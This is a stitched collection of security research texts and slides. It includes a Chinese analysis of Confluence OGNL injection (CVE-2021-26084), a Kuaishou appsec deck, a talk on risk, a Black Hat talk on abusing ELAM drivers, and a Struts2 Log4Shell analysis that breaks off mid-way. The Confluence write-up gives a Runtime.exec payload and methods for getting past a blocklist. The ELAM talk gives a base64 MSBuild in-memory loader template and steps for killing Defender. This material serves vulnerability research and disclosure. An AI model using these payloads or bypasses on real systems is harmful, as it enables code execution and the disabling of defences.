JSESSIONID=988EA67C6E5E0EFF5C84EB3AC4DBAB2E Connection: close atl_token=eea2cfb36c9370a93bbf293be7623f68856e3d7c&dailyBackupFilePrefix=backup- &dailyBackupDateFormatPattern=yyyy_MM_dd&backupOption=custom&backupPath=/tmp/{1%2 b1}&backupAttachments=true&confirm=%E6%8F%90%E4%BA%A4 绕过 validate() 之后,接着就到了 com.opensymphony.webwork.views.velocity.AbstractTagDirective#render() ,这⾥就开始处 理模板中的 #tag、#bodytag 两个指令。 但是⽆论我怎么调试,我都没有看到 $action.backupPath ,所以我⼜去仔细看了下 /admin/editdailybackupsettings.vm ⽂件。这才发现,只有 $action.editMode 为空或者 false 时,才会执⾏到 $action.backupPath 。 而这⾥的 $action.editMode 就是 DailyBackupAdminAction#editMode ,其默认值为 true 。只有 调⽤ DailyBackupAdminAction#doView() ⽅法的时候,才会把 editMode 属性设置为 false 。回看 xwork.xml 配置⽂件, DailyBackupAdminAction#doView() ⽅法对应的路由为 /admin/dailybackupadmin.action ,所以我们在设置完备份路径,应该访问 /admin/dailybackupadmin.action 。 此时,我们就能在 Debug 信息中看到 $action.backupPath 了。回到 AbstractTagDirective#render() ⽅法,程序会先通过 applyAttributes() ⽅法解析 Velocity 模板中 的所有变量,然后才调⽤ processTag() 处理⾥⾯的各种标签。这⾥, $action 为当前路由所对应的 DailyBackupAdminAction ,$action.backupPath 也就对应前⾯我们设置的 /tmp/{1+1} 。 接着看 processTag() 如何处理标签。当程序处理到标签结尾的时,会调⽤ doEndTag() ⽅法。在这个 ⽅法⾥,程序会通过 Ognl 表达式来处理标签中的内容。例如 Tag("TextField" "label='backup.path'") ,这⾥就会⽤ Ognl 去获取 'backup.path' 的值。而前⾯ "value='$action.backupPath'" 经过 Velocity 的渲染,已经变成了 "value='/tmp/{1+1}'" ,但是由 于两边有引号包裹, Ognl 会把它当做⼀个普通字符串常量,所以解析后的值仍然为 /tmp/{1+1} 。 这⾥就要想办法闭合单引号了,我们把备份路径变成 '/tmp/{1+1}' 试试。结果发现在 OgnlValueStack.findValue() 之前,单引号被实体编码了,即 '&#39;/tmp/{1+1}&#39;'。于是我开 始 Fuzz 所有特殊字符,发现 \ 字符是不会被实体编码的。 \ 字符让我想到之前 Struts2 漏洞中是可以 使⽤ Unicode 字符的,⽴⻢尝试 /tmp/\u0027+{1+1}+\u0027 ,成功! 接下来我们就要想办法通过 Ognl 表达式执⾏任意代码。直接尝试 /tmp/\u0027+ {@java.lang.Runtime@getRuntime().exec(\u0022deepin-calculator\u0022)}+\u0027 ,发现并 不能弹出计算器。通过调试发现,在 OgnlValueStack.findValue() 之前还有安全校验 SafeExpressionUtil.isSafeExpression(expr) 。那么,我们该如何绕过呢? 绕过检测 先来看看他的检测规则。⾸先, Ognl 在解析表达式时,会先将其解析成 AST 语法树。安全检测⽅法 SafeExpressionUtil.isSafeExpression() 对语法树的节点类型做了限制。其中, UNSAFE_NODE_TYPES 存储了不允许的节点类型,它们为静态⽅法、静态属性、构造器、赋值语句, 也就是说如下语句通通不允许: 其次,UNSAFE_PROPERTY_NAMES 限制了属性名不能为 classLoader、class ,也就是说如下语句通 通不允许: 接着,UNSAFE_METHOD_NAMES 限制了调⽤的⽅法名不能为 getClassLoader()、getClass() ,也就 是说如下语句通通不允许: # ognl.ASTStaticMethod {@java.lang.Runtime@getRuntime()} # ognl.ASTStaticField {@java.lang.Runtime@currentRuntime} # ognl.ASTCtor {new java.lang.ProcessBuilder("calc")} # ognl.ASTAssign {#cmd="calc"} # ognl.ASTProperty {context.action.class} {context.action.classLoader} # ognl.ASTMethod {context.action.getClass()} {context.action.getClassLoader()} 最后,UNSAFE_VARIABLE_NAMES ⾥⾯存储了不允许直接使⽤的变量,也就是说如下语句通通不允 许: 那么我们该如何绕过呢?这⾥,我们先说两个 Ognl 解析时候的小 tips 。 第⼀个tips .class 和 .["class"] 在被解析成 AST 语法树的时候,都会被解析成 ASTProperty 。但是这两种⽅式获 得的 ASTProperty 变量,在调⽤ toString() 的时候结果会不⼀样。而上⾯的⿊名单判断正好是利⽤ ⿊ 名单.contains(node.toString()) ,所以利⽤这⼀差异性可以绕过⿊名单检查。 具体代码如下。在 Ognl 解析到 .["class"] 表达式的时候,会把这个节点设置为 ASTProperty ,并将 ASTProperty.indexedAccess 设置成 true 。而解析 .class 表达式的时候, ASTProperty.indexedAccess 则使⽤默认的 false 值。最后 ASTProperty.toString() 的值会因 ASTProperty.indexedAccess 的不同而有所差异。 通过这个小差异,我们便可绕过⿊名单,拿到 Class 对象,从而执⾏任意代码。 第⼆个tips 不管是 .class 还是 .["class"] ,最终都会通过反射调⽤ getClass() ⽅法。而 .class 和 .Class 都会调⽤ 到 getClass() ⽅法,因为 Ognl 在处理的时候,会⾃动把属性的⾸字⺟变成⼤写,然后再调⽤ getXxx() 。 # ognl.ASTVarRef {#application} {#parameters} {#request} {#session} {#_memberAccess} {#context} .class => ASTProperty.toString() => class .["class"] => ASTProperty.toString() => ["class"] 利⽤这⼀小 tips ,同样可以绕过⿊名单的校验,拿到 Class 对象,从而执⾏任意代码。 参考 Atlassian Confluence Pre-Auth RCE (CVE-2021–26084) CVE-2021-26084 - Confluence Server Webwork OGNL injection CVE-2021-26084 Remote Code Execution on Confluence Servers https://velocity.apache.org/engine/1.7/developer-guide.html velocity⾃定义标签和指令
pdf
Get-$pwnd Attacking Battle-Hardened Windows Server Lee Holmes | @Lee_Holmes Lead Security Architect, Azure Management
pdf
快手应用安全演进之路 讲师介绍 • 廖新喜 • 大连理工大学毕业 • 快手Web安全负责人,原绿盟科技安全研究经理,8年安全攻防经验和2年 甲方安全建设经验 • 2011-2014,三年安全开发经验,担任绿盟科技极光扫描器开发 • 2014-2019,五年安全攻防经验,国内各大安全峰会演讲嘉宾;专注于 Web漏洞挖掘,尤其是Java反序列化漏洞,曾向RedHat、Apache、 Amazon,Weblogic和阿里提交10余份RCE级别漏洞报告,被誉为国内 Weblogic漏洞挖掘和反序列化漏洞挖掘的领导者 • 2019-现在,快手Web安全负责人,专注于甲方应用安全建设,对于漏洞 收敛有独到的见解,所带领的项目《Java代码安全漏洞治理》获得了研发 线质效提升奖 照片 目 录 作坊阶段 01 02 03 自动化阶段 BP阶段 一、作坊阶段 应用安全-作坊阶段 2019年及以前 编码无 规范 知识无 积累 …… 端口无 管控 评价无 指标 应用安全-作坊阶段 2019年及以前 指标体系建设 SRC 众测 按期修复率 自检率 漏洞等级 业务属性 高危自检率 对外自检率 评价指标 自测漏洞 漏洞属性 外部SRC 内部SOC 漏洞扫描器 重大活动保障 建设目标 二、自动化阶段 应用安全-自动化阶段 2020年 漏洞无收 敛 内部系统 无鉴权 漏洞应急 无抓手 三方仓库 无管控 修复方案 无标准 开发静态 扫描能力 推动内部 系统鉴权 重构黑盒 推动 Fastjson下 线 开发三方库 管控系统 开发安全 SDK 静态代码扫描能力建设 • 核心业务Java • Java后端占比46% • 历史漏洞基础类型占比高 • DevOps快速发版,人工无法 完成覆盖 需求分析 • 编写自定义规则 • 覆盖历史漏洞,提升精准度 • 离线分析所有Java项目 • 优化规则 规则迭代运营 • 开发自动化扫描系统 • 发送高层邮件,推动修复 • 自动化运营 • 接入代码Review平台 推动修复 三方库漏洞收敛 供应链攻击 日趋频繁 缺乏统一的 管控机制 高危漏洞频 发应急 Fastjson频 频告急 三、BP阶段 应用安全-BP阶段 2021年 业务迅速发展 安全诉求高 漏洞发现靠后 修复成本高 业务漏洞突出 发现难度高 新型漏洞突出 治理难度高 …… 应用安全-BP阶段 2021年 漏洞收敛体系 SDL BP架构 漏洞收敛漏斗 白盒 灰盒 黑盒 BP 漏出5%以内,漏出数逐年降低 漏洞三板斧之IAST
pdf
A"Hacker’s"Guide"to"Risk Bruce"Potter DefCon gdead@shmoo.com ||"bpotter@keywcorp.com Don’t"believe"anything"I"Say • Also,"hold"those"around"you"accountable Failures"in"Understanding"Risk • Fukushima • BP"Oil"Spill The"other"side"of"the"coin… • Takata airbag"recall – Airbag"inflator"may"rupture"shoot"shrapnel"onto" passengers"during"deployment – Takata knew"about"the"defects"in"2004"and" attempted"to"test"bags"in"offOhours"to"avoid" disclosure – NHTSA"has"been"criticized"for"their"“slow"roll”"on" the"problem – 34"million"cars"effected"in"North"America."Largest" single"recall"in"the"history"of"automobiles MATH! The"Math"Behind"the"Takata Recall • Number"of"cars"on"the"roads"per"year"in"the"US:"250,000,000 • Number"of"accidents"in"US"per"year:"5,500,000"(2009) • Number"of"accidents"involving"airbag"deployment:"Let’s"say"30%..." Hard"to"find"but"70%"of"reported"crashes"are"property"damage" only)" – (let’s"assume"100%"of"these"involve"a"Takata airbag.."And"it"deploys."In" reality"94%"of"effected"cars"have"1"Takata airbag…"6%"have"2."None" have"more) – (also"in"reality,"airbags"only"deploy"about"80%"of"the"time"in"serious" crashes) • So"the"number"of"Takata airbags"deployed"is"on"the"order"of – (#"affected[[]]"cars"/"#"cars"on"road)"*"#"of"airbag"deployments/year"=" 224,400"crashes"/"year"where"a"Takata airbag"deploys • “Airbag"inflator"may rupture"shoot"shrapnel"onto" passengers"during"deployment” • Ballistic"testing"indicates"failure"rates"up"to".084% • Some"samples"were"~.04% • That’s"brings"us"to"~188"people/year"potentially" injured"by"Takata airbags • Some"of"those"people"would"died"regardless • My"assumptions"to"this"point"have"been"worse"case • Let’s"say"in"reality"we’re"talking"about"100"people/year LARGEST"RECALL"IN"US"AUTOMOTIVE" HISTORY • Takata O $500"million • Honda"O $340"million • Others"haven’t"reported • Easily"over"$1"billion Is"preventing"100"injuries"a"year" worth"$1"billion? Death"Statistics • ~500"people/year"die"from"TB • ~500"people/year"die"from"accidental"gunshot" wounds – What"would"a"billion"do"for"them? • 40,000"people/year"die"from"suicide – What"would"a"billion"do"for"them? What"is"Risk? • Like"really.."What"the"hell"is"“risk”? What"is"Risk? • Risk"to"a"bank"– Situations"that"can"lead"to" loss"of"funds"or"profit • Risk"to"a"manufacturing" org"– situations"that" lead"to"loss"of"IP"and"pricing"data • Risk"to"an"ISP"– Situations"that"can"lead"to" service"disruption"or"lost"of"customer"data • In"general,"risk"is"a"situation"where"something" you"value"can"be"put"in"harms"way Risk"vs."Threat"vs."Vulnerability • Risk"Syntax – $LIKELIHOOD"that"$CAUSE"results"in"$IMPACT • Threat"Syntax – $ACTOR"does"$ACTION"to"$ASSET"for"$OUTCOME"because" $MOTIVATION • Vulnerability – A"weakness"in"a"system"that"can"be"exploited • Risk"tends"to"be"bigger/more"general"than"threat." Multiple"threats"can"role"up"in"to"a"single"risk • Threats"rely"on"vulnerabilities"to"be"realized An"example • Risk – It"is"highly"likely"that"an"attacker"will"gain"access"to" our"database"server"leading"to"loss"of"all"personal" information"in"database"and"heavily"damaging"our" brand An"example Likelihood highly"likely" • Risk"– Likelihood – It"is"highly"likely"that"an"attacker"will"gain"access"to" our"database"server"leading"to"loss"of"all"personal" information"in"database"and"heavily"damaging"our" brand An"example Likelihood,"Cause highly"likely" an"attacker"will"gain"access"to" our"database"server • Risk"– Likelihood,"Cause – It"is"highly"likely"that"an"attacker"will"gain"access"to" our"database"server leading"to"loss"of"all"personal" information"in"database"and"heavily"damaging"our" brand An"example Likelihood,"Cause,"Impact highly"likely" an"attacker"will"gain"access"to" our"database"server loss"of"all"personal" information"in"database"and"heavily"damaging"our" brand • Risk"– Likelihood,"Cause,"Impact – It"is"highly"likely"that"an"attacker"will"gain"access"to" our"database"server leading"to loss"of"all"personal" information"in"database"and"heavily"damaging"our" brand An"example • Risk – It"is"highly"likely"that"an"attacker"will"gain"access"to"our"database" server"leading"to"loss"of"all"personal"information"in"database" and"heavily"damaging"our"brand • Threats – External"attackers"can"execute"SQL"injection"attack"against"our" webservers – Insiders"will"inappropriately"log"in"to"the"database"server"via" shared"credentials – Nation"states"will"backdoor"our"database"server"hardware • Vulnerabilities – Our"website"has"SQLi weaknesses – We"use"shared"creds for"database"access – We"buy"our"servers"from"an"Iranian"on"eBay How"Do"We"Measure"Risk? • NIST"800O30"(2002"publication) – Vulnerability"X"Likelihood"X"Impact How"Do"We"Measure"Risk? • NIST"800O30"(2012"publication) Likelihood • Choose"a"scale" and"stick"with"it – NIST"800O30r1"is" a"good"starting" point • Another" model"that" has"served"me" well Likelihood Description Very"High Almost"Certain High Highly"Likely Medium Somewhat"Likely Low Unlikely Very Low Highly"Unlikely Likelihood Description High Is happening" to" us"or"to"others"in" our"vertical Medium Happening" to" orgs"not"in"our" vertical Low Not"happening Impact • Again,"NIST" 800O30r1"is" probably"the" easiest"place"to" start Impact Description Very"High Multiple" Severe" or"Catastrophic High Severe"or" Catastrophic Medium Serious Low Limited Very Low Negligible Types"of"Risk • Technical"Risk"vs."Business"Risk – Technical"– Risk"that"impacts"IT,"engineering," development,"or"other"“technical”"operations" – Business"– Risk"that"impacts"business"operations – In"my"experience,"the"security"industry"is"good"at" identifying"technical"risks"and"lousy"at"identifying" business"risks • Inherent"Risk"vs."Residual"Risk – Inherent"– Risk"in"the"“as"is”"system"or"system"without" compensating"controls – Residual"– Risk"that’s"left"over"after"you’ve" implemented"controls/remediation"activities Understanding"Threats? • Google"“Bruce"Potter"Derbycon Threat”." Risk"Frameworks • NIST"800O30r1"– Guide"for"Conducting"Risk"Assessments – A"process"you"can"work"through."Attempting"to"make"Risk" Assessments"uniform"throughout"USG • NIST"Cyber"Security"Framework – Not"something"you"“do”."It’s"a"common"taxonomy"of"security"controls" and"how"you"can"measure"“as"is”,"“to"be”"and"maturity • Cyber"VAR"– Cyber"Value"At"Risk – A"structured"way"to"put"a"concrete"dollar"amount"around"the"impact" of"risk"and"a"rollOup"risk"number"to"represent"cyber"risk • HITRUST"Risk"Management"Framework – Healthcare"specific"RMF • If"you"squint,"you"can"turn"NIST"800O53,"COBIT,"ISO"27k,"etc in"to"risk" frameworks."This"is"the"“control”"view"of"the"world"and"is"quite" common. Why"is"Risk"Important"to"Hackers? • That"was"a"lot"of"acronyms…" and"seems"far" removed"from"what"most"hackers"care"about • Turns"out,"when"we"measure"risk"incorrectly," we"lose"credibility"and"traction – May"even"cause"harm."Certainly"cause"wasted" time • Examples… Imagine"a"vulnerability"that… • Requires"you"to"be"actively"manOinOtheOmiddle" the"victim"(so"you’re"a"nation"state"or"on"the" same"LAN) • The"attack"requires"you"to"MiTM each"individual" TCP"connection • The"attack"requires"$100"post"processing"to"look" inside"the"data"just"to"see"if"there’s"anything"of" interest • How"would"you"rate"this? Imagine"a"vulnerability"that… Likelihood Description Very"High Almost"Certain High Highly"Likely Medium Somewhat"Likely Low Unlikely Very Low Highly"Unlikely Impact Description Very"High Multiple" Severe" or"Catastrophic High Severe"or" Catastrophic Medium Serious Low Limited Very Low Negligible …Must"actively"MiTM… …Must"MiTM each"TCP"session… …Have"nonOtrivial" amount"of" post"processing… Know"what"it"is? Up"next…"PCI *groans* Seriously,"how"specifically"does"PCI" incorrectly"deal"with"risk • HUGE"number"of"requirements"levied"on" individual"webservers…"in"particular"on"cipher" types,"key"size,"etc – At"the"time"of"PCI"standard’s"creation,"VERY"little" evidence"that"weak"crypto"configurations"were"being" attacked – Fast"forward"to"today,"that’s"still"the"case • The"real"issue"are"the"backend"systems"and"the" integrity"frontOline"systems"like"POS"machines – These"were"being"attacked"before,"and"they’re"being" attacked"now Has"PCI"incorrectly"managed"risk? • Heartland"was"PCI"compliant"at"the"time"they" were"breached • Target"was"PCI"compliant"at"the"time"they" were"breached • Home"Depot"was"PCI"compliant"at"the"time" they"were"breached • YES! Does"that"stop"people"from"bitching" about"SSL"“misconfiguations”? • Nope • If"you"run"VA"tools"against"your"network,"you" live"this"dream"every"day Other"Examples… • DNSSec (/me"looks"around"room"for"DT) • EMET • Shift"to"the"Cloud Operationalizing"Risk"(aka:"So"What?) • Pick"a"framework"and"run"with"it • Me?"I"like"NIST"800O30"and"the"CSF – 800Oprovides"the"process,"the"CSF"provides"the" structure Threat5Modeling O MS5Style O Mine O Others? Architectural5assessment Code5Review Pen5testing5/5VA Etc… “using5common5sense” …seriously,5risk5isn’t hard,5it’s5just5structured… The"Core…"aka:"All"Things"Security And"in"general • Banks"are"big"risk"management"machines • So"are"cyber"security"orgs • Apply"risk"concepts"for – Vulnerability"release"and"analysis – New"defenses – New"attack"methods – New"threat"actors,"campaigns,"etc.. – You"know.."All"the"time,"every"day Questions
pdf
#BHUSA @BlackHatEvents Living Off the Walled Garden: Abusing the Features of the Early Launch Antimalware Ecosystem Matt Graeber Director, Threat Research @ Red Canary #BHUSA @BlackHatEvents Information Classification: General Who protects the protector? Introduction to ELAM and PPL #BHUSA @BlackHatEvents Information Classification: General Previous work - Everything is derivative Thank you James and Alex! #BHUSA @BlackHatEvents Information Classification: General Protected Process Light Protections ● Designed to prevent tampering in user-mode, even as admin. ● Cannot start or stop protected processes ● Cannot get a handle to a protected process ● Cannot attach a debugger to a protected process ● To run protected, an executable must meet specific signing requirements. #BHUSA @BlackHatEvents Information Classification: General Early Launch AntiMalware (ELAM) Drivers ● Microsoft’s supported 3rd party security product anti-tampering mechanism. ● Specifies certificate hashes allowed to run at the Antimalware- Light PPL protection level ● “Microsoft requires that Early Launch Antimalware vendors be members of the Microsoft Virus Initiative (MVI).” ● Vendors must pass the WHQL driver submission. #BHUSA @BlackHatEvents Information Classification: General Enumerating installed ELAM drivers #BHUSA @BlackHatEvents Information Classification: General Early Launch Antimalware (ELAM) Driver Hashes ● Certificate hashes are To-Be-Signed (TBS) hashes. ● TBS hash is not the same as a Thumbprint! ● Tools to calculate TBS hash: ○ certmgr.exe (Windows SDK) ○ Get-TBSHash ● VirusTotal doesn’t understand TBS hashes… #BHUSA @BlackHatEvents Information Classification: General ELAM Driver Signer Resource MicrosoftElamCertificateInfo MSElamCertInfoID { 3, // count of entries L”CertHash1\0”, Algorithm, L”EKU1\0”, L”CertHash2\0”, Algorithm, L”\0”, //No EKU for cert hash 2 L”CertHash3\0”, Algorithm, L”EKU3a;EKU3b;EKU3c\0”, //multiple EKU entries supported (max: 3) } Protecting anti-malware services #BHUSA @BlackHatEvents Information Classification: General An Example Parsed ELAM Ruleset - WdBoot.sys ● Allow Rule #1 SignerHash: f6f717a43ad9abddc8cefdde1c505462535e7d1307e630f9544a2d14fe8bf26e SignerHashAlgorithm: SHA256 SignerEKUs: 1.3.6.1.4.1.311.76.8.1;1.3.6.1.4.1.311.76.11.1 ● Allow Rule #2 SignerHash: 4e80be107c860de896384b3eff50504dc2d76ac7151df3102a4450637a032146 SignerHashAlgorithm: SHA256 SignerEKUs: 1.3.6.1.4.1.311.76.8.1;1.3.6.1.4.1.311.76.11.1 #BHUSA @BlackHatEvents Information Classification: General ELAM Ruleset - WdBoot.sys #BHUSA @BlackHatEvents Information Classification: General ELAM Ruleset - WdBoot.sys #BHUSA @BlackHatEvents Information Classification: General ELAM Ruleset - WdBoot.sys #BHUSA @BlackHatEvents Information Classification: General ELAM Ruleset - WdBoot.sys PsProtectedSignerAntimalware = 0n3 #BHUSA @BlackHatEvents Information Classification: General ELAM is an allowlist for Antimalware-Light PPL process execution. What if the allowlist is overly permissive? #BHUSA @BlackHatEvents Information Classification: General ELAM Driver Hunting and Auditing #BHUSA @BlackHatEvents Information Classification: General Hunting for ELAM drivers VirusTotal search: signature:"Microsoft Windows Early Launch Anti-malware Publisher" tag:native tag:signed tag:peexe not tag:invalid-signature #BHUSA @BlackHatEvents Information Classification: General Additional ELAM driver validation ● Confirm the ELAM driver has a valid signature ● The name of the leaf certificate is "Microsoft Windows Early Launch Anti-malware Publisher" ● The driver has a MSELAMCERTINFOID resource consisting of a parsed signer allow list. ● 866 766 unique ELAM drivers #BHUSA @BlackHatEvents Information Classification: General Identified ELAM Vendors ● Microsoft Corporation ● McAfee, LLC ● VMware, Inc. ● Total Defense, Inc. ● ● COMODO ● Broadcom Corporation ● CrowdStrike, Inc. ● Bitdefender ● AO Kaspersky Lab ● ESET ● AVG Technologies CZ, s.r.o. ● AVAST Software ● Cisco Systems, Inc. ● AhnLab, Inc. ● Windows (R) Win 7 DDK provider ● F-Secure Corporation ● Trend Micro Inc. ● Carbon Black, Inc. ● K7 Computing Pvt Ltd ● Sophos Limited ● ESTsecurity Corp. ● Panda Security, S.L. ● Malwarebytes ● Broadcom ● Avira Operations GmbH & Co. KG ● 360.cn ● Doctor Web, Ltd. ● Beijing Rising Network Security Technology Co., Ltd. ● Cynet Security Ltd ● TODO: <Company name> ● Fortinet Inc ● IKARUS Security Software GmbH ● Beijing Huorong Network Technology Co., Ltd. ● ThreatTrack Security, Inc. ● Acronis International GmbH ● BullGuard Ltd. ● Arcabit/mks_vir ● FireEye, Inc. ● Check Point Software Technologies ● Symantec Corporation ● Quick Heal Technologies Ltd. ● 电脑管家 ● G DATA Software AG ● Webroot ● Reason CyberSecurity Inc. ● Hammock Corporation ● SentinelOne, Inc. ● Beijing Rising Information Technology Co., Ltd. ● SecureTrust ● Fidelis Cybersecurity ● Faronics Corporation ● IObit ● VIPRE Security ● Emsisoft Ltd ● SecureIT ● Rising ● TG Soft - www.tgsoft.it ● MicroWorld Technologies Inc. ● Avira Operations GmbH ● Wontok, Inc ● TeamViewer ● enSilo ● AdAware ● TeamViewer Germany GmbH ● G DATA CyberDefense AG #BHUSA @BlackHatEvents Information Classification: General ELAM Auditing Strategy ● Identify the corresponding certificate with the TBS hash. ● Search for EXEs and DLLs signed with that certificate in the chain. ● Identify signed code that might permit code execution. ● Low-hanging fruit: LOLbins? ● Install candidate executables as a protected service. #BHUSA @BlackHatEvents Information Classification: General ELAM Auditing Challenges ● VirusTotal doesn’t understand TBS hashes - only Thumbprint ● You are lucky if there are any Google hits… #BHUSA @BlackHatEvents Information Classification: General Associating TBS Hash to Thumbprint ● Sometimes you’ll get lucky… name: Microsoft Code Signing PCA 2011 issuer: Microsoft Root Certificate Authority 2011 thumbprint: f252e794fe438e35ace6e53762c0a234a2c52135 signature hash: f6f717a43ad9abddc8cefdde1c505462535e7d1307e630f9544a2d14fe8bf26e https://famellee.wordpress.com/2016/09/08/retrieve-digital-signatures-using-wintrust/ #BHUSA @BlackHatEvents Information Classification: General Hunting for Potential Protected Executables Note: this particular rule has an EKU restriction… ● 1.3.6.1.4.1.311.76.8.1 (Microsoft Publisher) ● 1.3.6.1.4.1.311.76.11.1 (Microsoft AntiMalware) #BHUSA @BlackHatEvents Information Classification: General Identified Overly-Permissive Allowed Signers Leaf Certificates ● Microsoft Corporation (Thumbprint: B9EAA034C821C159B05D3521BCF7FEB796EBD6FF) ○ TBS: 84D8717A416C8C9E214C6E0DBD091860D8133F413BCFF35673998F27BBA084CA ● Microsoft Corporation (Thumbprint: 62009AAABDAE749FD47D19150958329BF6FF4B34) ○ TBS: E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3 Intermediate Certificates ● Symantec Class 3 SHA256 Code Signing CA (Thumbprint: 007790F6561DAD89B0BCD85585762495E358F8A5) ○ TBS: A08E79C386083D875014C409C13D144E0A24386132980DF11FF59737C8489EB1 ● VeriSign Class 3 Public Primary Certification Authority - G5 (Thumbprint: 495847a93187cfb8c71f840cb7b41497ad95c64f) ○ TBS: 4843A82ED3B1F2BFBEE9671960E1940C942F688D ● DigiCert Assured ID Code Signing CA-1 (Thumbprint: 409AA4A74A0CDA7C0FEE6BD0BB8823D16B5F1875) ○ TBS: 47F4B9898631773231B32844EC0D49990AC4EB1E #BHUSA @BlackHatEvents Information Classification: General Identified Overly-Permissive Allowed Signers #BHUSA @BlackHatEvents Information Classification: General Weaponization #BHUSA @BlackHatEvents Information Classification: General Identifying a Candidate Abusable Executable #BHUSA @BlackHatEvents Information Classification: General Weaponization Steps ● Register overly-permissive ELAM driver with InstallELAMCertificateInfo function in kernel32.dll. ● Create service for abusable executable (e.g. MSBuild) ● Specify service as SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT with ChangeServiceConfig2W ● Start service. Profit. #BHUSA @BlackHatEvents Information Classification: General Weaponization Constraints ● Many “LOLBins” are likely not designed to run protected. ● PPL doesn’t permit spawning a child process by default. ● Must permit arbitrary unsigned code execution ● MSBuild payloads spawn a child process by default. ○ Property functions don’t spawn a child process! ○ Thank you, Casey Smith! #BHUSA @BlackHatEvents Information Classification: General MSBuild Weaponization Constraints MSBuild Property Function payload must be implemented as a one-liner using pseudo- .NET syntax <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="TestTarget"> <PropertyGroup> <TestProperty>$([System.Activator]::CreateInstance($([System.Reflec tion.Assembly]::Load($([System.Convert]::FromBase64String("REPLACEM E"))).GetType("Test")))))</TestProperty> </PropertyGroup> </Target> </Project> #BHUSA @BlackHatEvents Information Classification: General Demo #BHUSA @BlackHatEvents Information Classification: General Demo #1 – Running MSBuild Protected https://youtu.be/-Pij0IoMWA4 #BHUSA @BlackHatEvents Information Classification: General Demo #2 – Killing Defender AV Protected Process https://youtu.be/i2aM7jGDZsw #BHUSA @BlackHatEvents Information Classification: General Mitigations and Detection #BHUSA @BlackHatEvents Information Classification: General Mitigations ● A robust fix from Microsoft in the future? ● WDAC blocks loading/execution of disallowed ELAM drivers. #BHUSA @BlackHatEvents Information Classification: General Detection and Recommendations Defenders • Focus on antimalware-light service creation. • HKLM\SYSTEM\CurrentControlSet\Services\SERVICE – LaunchProtected – 3 Vendors • Use code-signing certificates with dedicated EKUs only for service executables and DLLs that are absolutely necessary. • Perform an audit of ELAM rules and corresponding allowed binaries. #BHUSA @BlackHatEvents Information Classification: General Conclusion #BHUSA @BlackHatEvents Information Classification: General Why is this so bad? ● One overly permissive ELAM driver poisons the well across the entire 3rd party antimalware ecosystem. ● The vetting process for ELAM drivers is far from robust. ● Malware running as PPL ○ can kill security products ○ is afforded anti-tampering protection #BHUSA @BlackHatEvents Information Classification: General Disclosure Timeline ● Dec 28, 2021 - Reported to MSRC ● Jan 11, 2022 ○ MSRC closed report. Reason: not a security boundary ○ Passed on report to Defender Research team ● January to Present ○ Defender mitigation developed/implemented for Microsoft-signers ○ Issue and mitigation communicated to MVI vendors and engagement with vendors regarding affected ELAM drivers. ○ Communicated by us that scope extends beyond Microsoft-signers, making mitigation unviable. ○ Plan to treat overly-permissive ELAM drivers on an individual basis - e.g. potential blocking in CI/ASR Thank you, David Kaplan, Gil Besso, and Philip Tsukerman @ Microsoft!!! #BHUSA @BlackHatEvents Information Classification: General Official Microsoft Response “Microsoft researchers have been collaborating with Matt Graeber on the findings and with Microsoft Virus Initiative (MVI) partners to address the issue from their own ELAM drivers. Customers using both Microsoft Defender Antivirus and Microsoft Defender for Endpoint are covered by potential abuse of the ELAM functionality.” #BHUSA @BlackHatEvents Information Classification: General Resources ● Protecting anti-malware services ● ELAM Driver Requirements ● Unknown Known DLLs ● The Evolution of Protected Processes Parts 1, 2, and 3 ● Building a WDAC Driver Allowlist #BHUSA @BlackHatEvents Information Classification: General Code ● ELAM driver allow list parser - Get-ElamCertInfo ● TBS hash calculator - Get-TBSHash ● Defanged PPL Runner - AntimalwareBlight ○ Bring your own MSBuild and overly-permissive ELAM driver. #BHUSA @BlackHatEvents Information Classification: General Thanks!
pdf
Apache Struts2 RCE via Log4j2 CVE-2021-44228 环境搭建 首先搭建环境 下载源码:https://dlcdn.apache.org/struts/2.5.27/struts-2.5.27-all.zip,解压 复制struts-2.5.27\src\apps\showcase文件夹到自己的测试目录,右键用IDEA打开 配置tomcat,启动即可 注:确认是否使用log4j2组件 漏洞分析 根据流传的payload中携带的HTTP头字段 If-Modified-Since 找到对应的源码位置,下断点 org.apache.struts2.dispatcher.DefaultStaticContentLoader#process 整个调用栈 warn:2774, AbstractLogger (org.apache.logging.log4j.spi) 根据调用栈中的调用情况,分析为什么请求会执行到这里 ALT + F7 process:241, DefaultStaticContentLoader (org.apache.struts2.dispatcher) findStaticResource:215, DefaultStaticContentLoader (org.apache.struts2.dispatcher) executeStaticResourceRequest:59, ExecuteOperations (org.apache.struts2.dispatcher) doFilter:81, StrutsExecuteFilter (org.apache.struts2.dispatcher.filter) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:65, SiteMeshFilter (com.opensymphony.sitemesh.webapp) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:92, StrutsPrepareFilter (org.apache.struts2.dispatcher.filter) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:196, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:544, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:364, CoyoteAdapter (org.apache.catalina.connector) service:624, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1650, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang) 调用关系如下 org.apache.struts2.dispatcher.filter.StrutsExecuteFilter#doFilter org.apache.struts2.dispatcher.ExecuteOperations#executeStaticResourceRequest org.apache.struts2.dispatcher.DefaultStaticContentLoader#findStaticResource 